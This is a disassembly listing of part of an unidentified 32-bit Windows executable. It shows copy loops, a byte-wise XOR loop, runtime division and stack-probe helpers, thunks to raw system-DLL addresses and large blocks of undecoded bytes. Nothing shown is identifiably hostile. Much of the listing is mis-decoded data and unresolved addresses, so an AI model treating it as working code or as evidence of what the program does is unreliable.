mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_448B9F+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43792D
push ebx
push ebp
call eax
add esp, 8
loc_43792D: ; CODE XREF: ___:00437924j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43796F: ; CODE XREF: ___:004379E8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4379EA
loc_4379AF: ; CODE XREF: ___:0043797Dj
; ___:0043798Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4379E1
loc_4379D4: ; CODE XREF: ___:004379DFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4379D4
loc_4379E1: ; CODE XREF: ___:004379D2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43796F
; ---------------------------------------------------------------------------
loc_4379EA: ; CODE XREF: ___:004379ADj
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AB8 proc near ; CODE XREF: SEH_403530+5j
; SEH_403720+5j ...
nop
jmp near ptr 77C227FAh
sub_437AB8 endp
; ---------------------------------------------------------------------------
align 10h
byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o
; ___:0043F018o ...
db 0E9h, 47h, 0E4h
dd 4DE9777Fh, 0D9777E44h, 7F18F6E9h
; ---------------------------------------------------------------------------
ja short near ptr byte_437AE8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437AD2 proc near ; CODE XREF: ___:00406C30p
; sub_406C50+11p ...
jmp near ptr 77C29CDDh
sub_437AD2 endp
; ---------------------------------------------------------------------------
db 0BBh
db 90h
db 0E9h, 0B2h, 0FFh
dd 0E9907780h, 7781017Ch, 1FBE990h
byte_437AE8 db 81h, 77h ; CODE XREF: ___:00437AD0j
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AEA proc near ; CODE XREF: sub_406C80+47p
; ___:00406D1Ap ...
nop
jmp near ptr 77C29CC5h
sub_437AEA endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
jle short loc_437B6D
mov eax, ecx
mov dword ptr [eax], offset off_43F1D4
retn 4
; ---------------------------------------------------------------------------
loc_437B01: ; DATA XREF: ___:off_43F1D4o
push esi
mov esi, ecx
call sub_437EBC
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_437B17
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
loc_437B17: ; CODE XREF: ___:00437B0Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437B22 proc near ; CODE XREF: sub_409660+4Dp
; ___:0040AA7Dp
nop
jmp near ptr 77C226F6h
sub_437B22 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
xor byte ptr [edi-34h], 0CCh
; =============== S U B R O U T I N E =======================================
sub_437B30 proc near ; CODE XREF: sub_40A110+5p
; sub_410030+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_437B50
loc_437B3C: ; CODE XREF: sub_437B30+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_437B3C
loc_437B50: ; CODE XREF: sub_437B30+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_437B30 endp
; ---------------------------------------------------------------------------
align 10h
dd 80FAFBE9h, 0E990DE77h, 777E5424h
db 90h
; ---------------------------------------------------------------------------
loc_437B6D: ; CODE XREF: ___:00437AF4j
jmp near ptr 77C3FA76h
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch, 487DE990h
dd 3D83777Fh, 5109D4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch
dd 68C35990h, 5109C4h, 5109D468h, 2474FF00h, 310E80Ch
dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 79777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
jg short loc_437C51
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437BDA proc near ; CODE XREF: sub_4199C0+28p
jmp near ptr 77C4FA10h
sub_437BDA endp
; ---------------------------------------------------------------------------
dec ebx
; =============== S U B R O U T I N E =======================================
sub_437BE0 proc near ; CODE XREF: sub_41B920+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_437C01
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_437C51
; ---------------------------------------------------------------------------
loc_437C01: ; CODE XREF: sub_437BE0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_437C0F: ; CODE XREF: sub_437BE0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C0F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_437C3A
cmp edx, [esp+4+arg_4]
ja short loc_437C3A
jb short loc_437C42
cmp eax, [esp+4+arg_0]
jbe short loc_437C42
loc_437C3A: ; CODE XREF: sub_437BE0+4Aj
; sub_437BE0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_437C42: ; CODE XREF: sub_437BE0+52j
; sub_437BE0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_437C51: ; CODE XREF: ___:00437BD8j
; sub_437BE0+1Fj
pop ebx
retn 10h
sub_437BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_437C60 proc near ; CODE XREF: sub_41B920+30p
; sub_41B920+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_437C82
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_437CC3
; ---------------------------------------------------------------------------
loc_437C82: ; CODE XREF: sub_437C60+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_437C90: ; CODE XREF: sub_437C60+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C90
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_437CBE
cmp edx, [esp+8+arg_4]
ja short loc_437CBE
jb short loc_437CBF
cmp eax, [esp+8+arg_0]
jbe short loc_437CBF
loc_437CBE: ; CODE XREF: sub_437C60+4Ej
; sub_437C60+54j
dec esi
loc_437CBF: ; CODE XREF: sub_437C60+56j
; sub_437C60+5Cj
xor edx, edx
mov eax, esi
loc_437CC3: ; CODE XREF: sub_437C60+20j
pop esi
pop ebx
retn 10h
sub_437C60 endp
; ---------------------------------------------------------------------------
dd 808DE4E9h, 0E990C577h, 7780733Ch, 810188E9h, 0E9900C77h
dd 77809196h, 809516E9h, 0E990E377h, 77809888h, 96AAE990h
dd 44E97780h, 0AE77809Ah, 0FEE2E990h, 0E9907780h, 77809E6Eh
dd 71ECE990h, 4E97780h, 7B778091h, 43ADE990h, 0E990777Fh
dd 777E4845h, 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h
dd 0FEE9777Eh, 8D77807Bh, 9B30E990h, 0E9907780h, 7780269Bh
dd 25C1E990h, 0E9907780h, 778113C7h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437D4C proc near ; CODE XREF: ___:0043297Cp
jmp near ptr 77C3619Ch
sub_437D4C endp
; ---------------------------------------------------------------------------
db 0A9h, 90h, 0E9h
dd 777FF01Ch, 8E53E990h, 4C7780h, 31A36CDEh, 89DAFD86h
dd 0FC4E98B9h, 2362517Bh, 0AC1E37D9h, 0AAFF8A4Ah, 7E5D08C6h
dd 56536B1Dh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h
dd 0D835977h, 5109C4h, 0D40D83FFh, 0FF005109h, 7E7436E8h
dd 0D8B9077h, 5108C4h, 0E8900889h, 777E73F0h, 8C00D8Bh
dd 8890051h, 511A28A1h, 0A3008B00h, 5109B8h, 12EE8h, 0C01D3900h
dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
dd 18680000h, 68004444h, 444314h, 0E5E8h, 8BCA100h, 45890051h
dd 94458D94h, 0B835FF50h, 8D005108h, 8D509C45h, 8D509045h
dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2458174h
dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0E8908875h, 77801FDEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437EBC proc near ; CODE XREF: ___:00437B04p
nop
jmp near ptr 77C21868h
sub_437EBC endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dword_437EC4 dd 777FCF89h, 1FCCE990h, 0DBE97780h, 0F5777FAEh, 7011E990h
dd 88E9777Eh, 3977801Eh, 3000068h, 6800h, 25E80001h, 59000000h
dd 7EE9C359h, 83778157h, 0C3C3C033h, 72A2E990h, 0E990777Eh
dd 777E72D3h, 7FD46FE9h, 0E990E877h, 777FDD80h, 816F16E9h
dd 0E9904E77h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h
dd 7553E990h, 0F9E975C5h, 6775C684h, 0A029E990h, 9E975C4h
dd 6F75C539h, 0F765E990h, 95E975C5h, 275C4DBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep
nop
jmp near ptr 76D6AC1Dh
sub_437F50 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 23A8D76h, 3A8DCAE9h, 0E990E602h, 23B8098h, 3B84F5E9h
dd 8DE9E602h, 0CF023C80h, 3D8087E9h, 0E990B802h, 23E8080h
dd 3F807BE9h, 0E990E802h, 23F952Bh, 9665E990h, 0E990023Fh
dd 23F9A07h, 9D4AE990h, 0E990023Fh, 240805Ch, 8761E990h
dd 0E9900240h, 2408C2Dh, 804AE990h, 45E90241h, 0E6024280h
dd 8378E990h, 0C6E90242h, 0C5024286h, 8032E990h, 0E9900243h
dd 244802Ch, 9357E990h, 21E90244h, 6C024580h, 81AFE990h
dd 0E9900245h, 2458972h, 8DEBE990h, 0E9900245h, 2468008h
dd 8367E990h, 0E9900246h, 23A89C3h, 7FF6E990h, 0F1E9023Ah
dd 0DE02397Fh, 3888A2E9h, 0E9907B02h, 2387FE4h, 7FDEE990h
dd 0E9900237h, 23683DFh, 7FD2E990h, 0E9900236h, 2358AEEh
dd 846BE990h, 0AE90235h, 6C023583h, 7FBAE990h, 0F1E9022Ch
dd 37023582h, 829BE990h, 0E9900235h, 7C4C9095h, 8FA7E990h
dd 0E9907C4Ch, 23580B8h, 7F96E990h, 0E9900235h, 23486F5h
dd 7F8AE990h, 0E9900234h, 2338BDAh, 8B61E990h, 0E9900233h
dd 2338930h, 87A8E990h, 24E90233h, 88023386h, 83E6E990h
dd 1CE90233h, 0E023381h, 337F5BE9h, 0F7E99502h, 0B802328Bh
dd 328884E9h, 0E6E9A102h, 76023287h, 3282F0E9h, 0E990B802h
dd 23282C4h, 327F37E9h, 0FE95802h, 5802318Ah, 86AFE990h
dd 0E9900231h, 23183ACh, 7F1EE990h, 0E9900231h, 2308719h
dd 86DCE990h, 0E9900230h, 2308117h, 7F06E990h, 0E90230h
dd 16022F8Ch, 8754E990h, 0E990022Fh, 22F8087h, 7EEEE990h
dd 0E990022Fh, 22E8AE6h, 8720E990h, 2BE9022Eh, 0C2022E85h
dd 7ED6E990h, 0D1E9022Eh, 88022D7Eh, 0E678E990h, 0C5E9001Bh
dd 0A902477Eh, 8F9DE990h, 0E9900251h, 24D7EB8h, 7EB2E990h
dd 0E9900251h, 2507EACh, 4F8C24E9h, 0E9900202h, 24F7EA0h
dd 4E83C9E9h, 0E9902802h, 24E8131h, 4E7E8FE9h, 0B2E9B802h
dd 0E3024D89h, 4D87F3E9h, 0E9907602h, 24D840Dh, 4782DDE9h
dd 0E9906702h, 24C8AC6h, 86A8E990h, 0E990024Ch, 24C8378h
dd 7E5EE990h, 0E990024Ch, 24B7E58h, 4A7E53E9h, 0E9904602h
dd 2499B44h, 499777E9h, 0E9904B02h, 2499501h, 93EDE990h
dd 35E90249h, 6202497Eh, 7E2EE990h, 39E90248h, 0E87C608Fh
dd 0BD63E990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381DE proc near ; CODE XREF: ___:0042DBE1p
jmp near ptr 71AB4FD4h
sub_4381DE endp
; ---------------------------------------------------------------------------
db 62h
db 90h
db 0E9h, 8Fh, 62h
db 68h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p
nop
jmp near ptr 71AB2BF4h
sub_4381EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p
; sub_42EF60+4Fp
jmp near ptr 71AB615Ah
sub_4381F0 endp
; ---------------------------------------------------------------------------
db 0DEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap
; sub_42F040+45p ...
nop
jmp near ptr 71AB428Ah
sub_4381F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p
; sub_42F2C0+96p ...
jmp near ptr 71AB9639h
sub_4381FC endp
; ---------------------------------------------------------------------------
db 0E8h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438202 proc near
nop
jmp near ptr 71AC1028h
sub_438202 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438208 proc near ; CODE XREF: sub_42E170+71p
; sub_42ED50+50p
jmp near ptr 71AB2DC0h
sub_438208 endp
; ---------------------------------------------------------------------------
db 0Eh, 0E9h, 0ADh
dd 557167A9h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438214 proc near
jmp near ptr 71AB88D3h
sub_438214 endp
; ---------------------------------------------------------------------------
db 0E3h, 90h, 0E9h
dd 7167A946h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438220 proc near ; CODE XREF: sub_42E870+187p
nop
jmp near ptr 71AB951Eh
sub_438220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438226 proc near
nop
jmp near ptr 71AB3E00h
sub_438226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43822C proc near ; CODE XREF: sub_42DB00+B1p
nop
jmp near ptr 71AB2B66h
sub_43822C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438232 proc near ; CODE XREF: ___:0042DC2Fp
; sub_42E870+152p
nop
jmp near ptr 71AB3B91h
sub_438232 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438238 proc near
nop
jmp near ptr 71AB406Ah
sub_438238 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 7167C1E4h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438244 proc near ; CODE XREF: sub_42DA80+10p
jmp near ptr 71AB664Dh
sub_438244 endp
; ---------------------------------------------------------------------------
db 0FAh, 90h, 0E9h
dd 7167CE78h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438250 proc near ; CODE XREF: sub_434BA0+Bp
jmp near ptr 71AB94DCh
sub_438250 endp
; ---------------------------------------------------------------------------
xchg eax, ebp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438256 proc near ; CODE XREF: sub_41A7D0+92p
; sub_41A9C0+CAp ...
nop
jmp near ptr 71AB4544h
sub_438256 endp
; ---------------------------------------------------------------------------
dd 6888EFE9h, 0B2E97671h, 9A7167C2h, 67A953E9h, 9CE91371h
dd 6F7167AAh, 0A9EFE990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43827A proc near
nop
jmp near ptr 71AB3EA1h
sub_43827A endp
; ---------------------------------------------------------------------------
dd 6804E4E9h, 0E9908071h, 7167C1FDh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43828C proc near ; CODE XREF: sub_42DB00+53p
; sub_42DB00+C3p
nop
jmp near ptr 71ABE6EBh
sub_43828C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap
nop
jmp near ptr 71AC0BDEh
sub_438292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438298 proc near
nop
jmp near ptr 71AB2A5Eh
sub_438298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43829E proc near ; CODE XREF: ___:0041C2B7p
; ___:0041C2CCp
nop
jmp near ptr 71B2578Ch
sub_43829E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp
; ___:0041C42Fp
nop
jmp near ptr 71B25099h
sub_4382A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382AA proc near ; CODE XREF: ___:00426390p
nop
jmp near ptr 71B2517Fh
sub_4382AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382B0 proc near ; CODE XREF: sub_420090+B4p
nop
jmp near ptr 76BF215Ah
sub_4382B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp
nop
jmp near ptr 76BF1F1Ch
sub_4382B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4382BC proc near ; CODE XREF: sub_420090+21p
jmp near ptr 76BF3A9Ah
sub_4382BC endp
; ---------------------------------------------------------------------------
db 0C0h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p
nop
jmp near ptr 76F36C5Bh
sub_4382C2 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 80h, 0DFh
dword_4382CC dd 52E97780h, 767780DEh, 80DE97E9h, 0E9909577h, 7780E040h
dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h
dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
inc ebx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403530 proc near ; DATA XREF: sub_403530+2o
mov eax, offset dword_43F470
jmp sub_437AB8
SEH_403530 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_438E6B: ; DATA XREF: ___:0043F4ECo
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 7BCh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 805h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84Eh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 897h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8E0h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 929h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 972h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9BBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A04h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A4Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A96h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0ADFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B28h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B71h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B9Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BCDh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BFBh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C29h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C57h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C85h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CB3h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CE1h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D0Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D3Dh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D6Bh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D99h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DC7h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DF5h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E23h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E51h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E7Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10C7h
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 130Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1557h
jmp sub_40208B
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403720 proc near ; DATA XREF: sub_403720+2o
mov eax, offset dword_43F4C0
jmp sub_437AB8
SEH_403720 endp
; ---------------------------------------------------------------------------
db 0D6h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C50 proc near ; DATA XREF: sub_403C50+2o
mov eax, offset dword_43F700
jmp sub_437AB8
SEH_403C50 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4392B8: ; DATA XREF: ___:0043F75Co
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o
mov eax, offset dword_43F730
jmp sub_437AB8
SEH_403CE0 endp
; ---------------------------------------------------------------------------
